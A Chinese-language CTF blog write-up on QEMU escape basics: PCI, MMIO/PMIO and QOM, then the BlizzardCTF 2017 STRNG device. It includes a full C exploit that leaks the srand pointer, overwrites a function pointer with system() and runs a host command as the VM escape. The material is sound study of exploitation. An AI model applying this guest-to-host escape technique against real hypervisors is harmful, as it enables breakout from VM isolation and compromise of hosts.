最近想学一下qemu escape的基础知识,进而分析一些Qemu的CVE漏洞。

本文主要参考raycp师傅的两篇文章。[1] [2]

Qemu概述

每个运行的qemu虚拟机对应于host上的一个进程,虚拟机的执行线程(如CPU线程、I/O线程等)对应于qemu进程中的一个线程。

qemu-architecture

qemu的内存结构,根据QEMU Case Study,虚拟机对应的内存结构为如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
                        Guest' processes
+--------------------+
Virtual addr space | |
+--------------------+
| |
\__ Page Table \__
\ \
| | Guest kernel
+----+--------------------+----------------+
Guest's phy. memory | | | |
+----+--------------------+----------------+
| |
\__ \__
\ \
| QEMU process |
+----+------------------------------------------+
Virtual addr space | | |
+----+------------------------------------------+
| |
\__ Page Table \__
\ \
| |
+----+-----------------------------------------------++
Physical memory | | ||
+----+-----------------------------------------------++

qemu虚拟机进程会使用mmap分配出对应大小的内存空间,作为虚拟机的物理内存。

以STRNG启动命令为例:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh

./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22

其使用-m参数指定虚拟机内存大小为1G,启动虚拟机后查看其maps。(sudo gdb, 然后attach pid)

1
2
3
4
5
6
7
8
9
10
...
0x7fe71ab00000 0x7fe71ac00000 rw-p 100000 0
0x7fe71ac00000 0x7fe71bc00000 rw-p 1000000 0
0x7fe71bc00000 0x7fe71bc01000 ---p 1000 0
0x7fe71bcff000 0x7fe71bd00000 ---p 1000 0
0x7fe71bd00000 0x7fe71be00000 rw-p 100000 0
0x7fe71be00000 0x7fe75be00000 rw-p 40000000 0 # mmap
0x7fe75be00000 0x7fe75be01000 ---p 1000 0
0x7fe75beff000 0x7fe75bf00000 ---p 1000 0
...

如何在qemu进程中找到虚拟机中分配的内存呢?

首先将qemu虚拟机中的虚拟地址转化为物理地址,这个物理地址就是mmap空间的偏移,使用mmap基址加上这个偏移,就是对应的qemu进程空间地址中地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

int fd;

uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

/*
/proc/pid/pagemap
* Bits 0-54 page frame number (PFN) if present
* Bits 0-4 swap type if swapped
* Bits 5-54 swap offset if swapped
* Bit 55 pte is soft-dirty (see Documentation/vm/soft-dirty.txt)
* Bit 56 page exclusively mapped (since 4.2)
* Bits 57-60 zero
* Bit 61 page is file-page or shared-anon (since 3.5)
* Bit 62 page swapped
* Bit 63 page present
*/
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8); // page frame num,指的是右移12位后的页号
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

int main()
{
uint8_t *ptr;
uint64_t ptr_mem;

fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}

ptr = malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);

getchar();
return 0;
}

PCI

PCI是Peripheral Component Interconnect(外围设备互联)的简称,是普遍使用在桌面及更大型的计算机上的外设总线。PCI架构被设计为ISA标准的替代品,它有三个主要目标:获得在计算机和外设之间传输数据时更好的性能;尽可能的平台无关;简化往系统中添加和 删除外设的工作。

PCI是一种外设总线规范。我们先来看一下什么是总线:总线是一种传输信号的路径或信道。典型情况是,总线是连接于一个或多个导体的电气连线,总线上连接的所有设备可在同一时间收到所有的传输内容。总线由电气接口和编程接口组成。

PCI总线主要有三部分:

  1. PCI 设备。符合 PCI 总线标准的设备就被称为 PCI 设备,PCI 总线架构中可以包含多个 PCI 设备。
  2. PCI 总线。PCI 总线在系统中可以有多条,类似于树状结构进行扩展,每条 PCI 总线都可以连接多个 PCI 设备/桥。
  3. PCI桥。当一条 PCI 总线的承载量不够时,可以用新的 PCI 总线进行扩展,而 PCI 桥则是连接 PCI 总线之间的纽带。
1
2
3
4
5
6
7
8
$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

PCI寻址

直接来看一个具体的列子。/proc/iomem描述了系统内所有的设备在地址空间中的映射。(/proc/ioports描述了设备端口的映射)

1
2
3
4
5
6
7
8
$ lspci
...
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
...
$ cat /proc/iomem
...
febf1000-febf10ff : 0000:00:03.0
...

这是一个PCI设备,febf1000-febf10ff是它所映射的内存地址空间,占据了256bytes,0000:00:03.0则是这个PCI外设的地址,以冒号和点号分割成4部分,第一步16位表示域,第二个8位表示一个总线编号,第三个5位表示一个设备号,最后3位,表示功能号。

PCI规范允许单个系统最多拥有256条总线,所以总线编号为8位。但对于大型系统来说,这是不够的,所以引入了域的概念,每个PCI域最多拥有256条总线,每条总线最多拥有32个设备,所以为5位,而每个设备最多可有8中功能,所以为3位。

对于普通PC而言,一般只有一个域。

PCI设备配置空间

PCI设备都有一个配置空间(PCI Configuration Space),记录了该设备的详细信息。大小为256字节,其中前64字节是PCI标准规定的,并非所有字段必须填写,没用到的可以填充0。

Pci-config-space

其中的关键是BAR(Base Address Register)字段,记录了设备所需的地址空间及类型等属性。

Memory Space BAR Layout

31 - 4 3 2 - 1 0
16-Byte Aligned Base Address Prefetchable Type Always 0

I/O Space BAR Layout

31 - 2 1 0
4-Byte Aligned Base Address Reserved Always 1

地址空间的类型包括Memory Space和I/O Space。使用BAR的最低bit区分。

Memory Space,最低bit始终为0。type字段为0x00表示使用32bit地址,0x02表示使用64bit地址(64bit的BAR使用两个空间存储基址),0x01为PCI规范修订版3保留,早先版本使用bit1来支持低于1MB的地址空间。Prefetchable字段表示是否可以预取。

BAR基址的计算:

16bit—-BAR[x] & 0xFFF0;

32bit—-BAR[x] & 0xFFFFFFF0;

64bit—-(BAR[x] & 0xFFFFFFF0) + ((BAR[x+1] & 0xFFFFFFFF) << 32)

I/O Space,最低bit为1,一般不支持预取。

通过Memory Space访问设备I/O称为Memory-Mapped I/O(MMIO),CPU直接使用普通的访存指令即可进行I/O。

通过I/O Space访问设备I/O称为Port I/O或者Port-Mapped I/O(PMIO),这种情况下CPU使用专门的I/O指令(如IN/OUT)访问I/O端口。

可以通过查看resource文件,获得其MMIO和PMIO的地址/端口等信息。同一文件夹下面还有resource0和resource1文件,resource0对应mmio空间,resource1对应pmio空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

每行分别表示相应空间的起始地址(start-address)、结束地址(end-address)以及标识位(flags)。

更多关于PCI的说明可以看这篇文章https://zhuanlan.zhihu.com/p/26244141

QOM

QEMU提供了一套面向对象编程的模型——QOM(QEMU Object Module),几乎所有的设备如CPU、内存、总线等都是利用这一面向对象的模型来实现的。

由于qemu模拟设备以及CPU等,既有相应的共性又有自己的特性,因此使用面向对象来实现相应的程序是非常高效的,可以像理解C++或其它面向对象语言来理解QOM。

有几个比较关键的结构体,TypeInfoTypeImplObjectClass以及Object。其中ObjectClass、Object、TypeInfo定义在include/qom/object.h中,TypeImpl定义在qom/object.c中。

对于这块的理解,直接读两个简单的例子比较方便。例子1 例子2

进一步可以读读这两篇文章(不太必要,看完我依旧云里雾里的。。)文章一 文章二

BlizzardCTF2017-STRNG

题目在repository的release中可以下载到

Debugging

使用gdbscript

1
2
3
4
5
6
7
8
9
10
$ cat gdbscript
aslr off

b strng_instance_init
b strng_pmio_read
b strng_pmio_write

run -m 1G -device strng -hda my-disk.img -hdb my-seed.img -nographic -L pc-bios/ -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::5555-:22
$ gdb -q qemu-system-x86_64
gdb> source gdbscript

MMIO

strng_mmio_read

1
2
3
4
5
6
7
8
9
uint64_t __fastcall strng_mmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax

result = -1LL;
if ( size == 4 && !(addr & 3) )
result = opaque->regs[addr >> 2];
return result;
}

只能读4个字节且”地址”必须4字节对齐,将地址转换成index读取数据。

strng_mmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
hwaddr idx; // rsi
int v5; // eax
int vala; // [rsp+8h] [rbp-30h]

if ( size == 4 && !(addr & 3) )
{
idx = addr >> 2;
if ( (_DWORD)idx == 1 )
{
opaque->regs[1] = ((__int64 (__fastcall *)(STRNGState *, hwaddr, uint64_t))opaque->rand)(opaque, idx, val);
}
else if ( (unsigned int)idx < 1 )
{
opaque->srand(val);
}
else
{
if ( (_DWORD)idx == 3 )
{
vala = val;
v5 = opaque->rand_r(&opaque->regs[2]);
LODWORD(val) = vala;
opaque->regs[3] = v5;
}
opaque->regs[(unsigned int)idx] = val;
}
}
}

idx=0时,调用srand(val)设置随机种子

idx=1时,调用rand()设置随机值到regs[1]

idx>=3时,将val设置到regs[idx]

看起来idx没有限制,但是PCI设备会进行内部的检查,因为PCI注册的MMIO空间大小只有256字节。

编程进行MMIO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
uint8_t *mmio_mem;

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)mmio_mem + addr)
}

int main(int argc, char *argv[])
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR|O_SYNC);
if (mmio_fd == -1)
die("open mmio_fd failed");

mmio_mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed")
}

PMIO

strng_pmio_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
uint32_t v4; // edx

result = -1LL;
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 )
{
v4 = opaque->addr;
if ( !(v4 & 3) )
result = opaque->regs[v4 >> 2];
}
}
else
{
result = opaque->addr;
}
}
return result;
}

这里也可以发现,这些函数中的addr,都是起始端口/地址的偏移。

如果操作号(addr)是0,则读取存储的地址;

如果操作号是4,则读取地址处的值(regs[addr>>2])。

strng_pmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t v4; // eax
__int64 idx; // rax

if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 )
{
v4 = opaque->addr;
if ( !(v4 & 3) )
{
idx = v4 >> 2;
if ( (_DWORD)idx == 1 )
{
opaque->regs[1] = ((__int64 (__fastcall *)(STRNGState *, __int64, uint64_t))opaque->rand)(opaque, 4LL, val);
}
else if ( (unsigned int)idx < 1 )
{
opaque->srand(val);
}
else if ( (_DWORD)idx == 3 )
{
opaque->regs[3] = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t))opaque->rand_r)(
&opaque->regs[2],
4LL,
val);
}
else
{
opaque->regs[idx] = val;
}
}
}
}
else
{
opaque->addr = val;
}
}
}

操作号为0,则设置地址addr;

操作号为4,则写入数据。

  • idx=0,srand设置种子

  • idx=1,regs[1]=rand()

  • idx=3,regs[3]=rand_r(&opaque->regs[2])

  • idx>3,regs[idx]=val

这里看起来有机可乘,没有对PMIO的addr进行检查。

编程进行PMIO

使用<sys/io.h>中的outb/inb,outw/inw,outl/inl函数。

访问相应的端口需要一定的权限,程序应使用root权限执行。对于0x000-0x3ff之间的端口,使用ioperm(from, num turn_on)即可;对于0x3ff以上的端口,应调用iopl(3)去获取权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
uint32_t pmio_base = 0xc050;

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value, addr);
}

uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}

int main(int argc, char *argv[])
{
if (iopl(3) != 0)
die("iopl failed");
pmio_write(pmio_base+0, 0);
pmio_read(pmio_base+4, 1);
}

利用

exp和脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include <stdio.h>
#include <sys/io.h>
#include <stdint.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>

#define MAP_SIZE 4096

uint8_t *mmio_mem;
uint32_t pmio_base = 0xc050;

char *mmio_path = "/sys/devices/pci0000:00/0000:00:03.0/resource0";

void die(char *msg)
{
perror(msg);
exit(-1);
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t *)(mmio_mem + addr));
}

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t *)(mmio_mem + addr)) = value;
}

uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}

void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, addr);
}

uint32_t arb_read(uint32_t addr)
{
pmio_write(pmio_base+0, addr);
return pmio_read(pmio_base+4);
}

void arb_write(uint32_t addr, uint32_t value)
{
pmio_write(pmio_base+0, addr);
pmio_write(pmio_base+4, value);
}

int main(int argc, char *argv[])
{
// change I/O privilege level
if (iopl(3) != 0)
die("iopl failed");

// mmap device mmio space
int fd;
if ((fd=open(mmio_path, O_RDWR|O_SYNC)) < 0) {
perror("open device mmio failed");
exit(-1);
}
mmio_mem = mmap(0, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mmio_mem == MAP_FAILED) {
perror("mmap failed");
exit(-1);
}

/*
$ python3
>>> from pwn import *
>>> list(map(hex, unpack_many(b"cat /root/flag "))) # string align with 4
['0x20746163', '0x6f6f722f', '0x6c662f74', '0x20206761']
*/
mmio_write(0x8, 0x20746163);
mmio_write(0xc, 0x6f6f722f);
mmio_write(0x10, 0x6c662f74);
mmio_write(0x14, 0x20206761);

// mmio_write(0x8, 0x20006873); // system("sh"); freeze after print "sh: turning off NDELAY mode"

uint64_t srand_addr = arb_read(0x108);
srand_addr = (arb_read(0x104) | (srand_addr<<32));
uint64_t system_addr = srand_addr + 0xac50;

arb_write(0x114, system_addr&0xffffffff);

mmio_write(0xc, 0);

return 0;
}

tips

打印struct偏移

1
2
3
gdb> print (int)&((STRNGState*)0)->srand
gdb> ptype /o STRNGState
pwndbg> dt STRNGState

pahole导出elf中的structs

1
2
$ sudo apt install dwarves
$ pahole -V qemu-system-x86_64 > structs # 导出并不完全,STRNGState不会被找到,是因为typedef的原因?

后记

要做出来STRNG这道题目,很关键的一点就是发现STRNGState结构体,知道了这个,那几个read、write函数就没有那么抽象了,漏洞也很清晰明了,所以这是很关键的问题。但是我看的几个WriteUp都没有说如何确定的这个结构。这可能就是比赛时solves: 0的原因吧。

尝试一:以state为关键字,在ida的structures标签页中搜索结构体,搜不到。

尝试二:使用pahole导出struct,也没有

后来看源码发现这个结构体是被typedef成了STRNDState的名字,本身并没有名字,这是不是上面找不到的原因?

(PS: disqus判定评论是否为spam的检查太垃圾了,在raycp大佬文章下面发了两个评论询问这个问题,都被这个gdx屏蔽了)


前期花了太多的时间想彻底搞明白qemu虚拟设备的创建(经常会有这种莫名的强迫症…),但是看来看去都模模糊糊的,是真的菜啊我。察觉这个状态后,想起教主的“先干起来,慢慢补充”,才继续关注题目本身。其实看两个简单的虚拟设备例子,做这个题目就没问题了。

2020-11-28

在ida的local types窗口可以检索到STRNGState

Reference

  1. qemu-pwn-基础知识
  2. qemu pwn-Blizzard CTF 2017 Strng writeup
  3. BlizzardCTF 2017 - Strng
  4. osdev PCI BAR
  5. lspci命令详解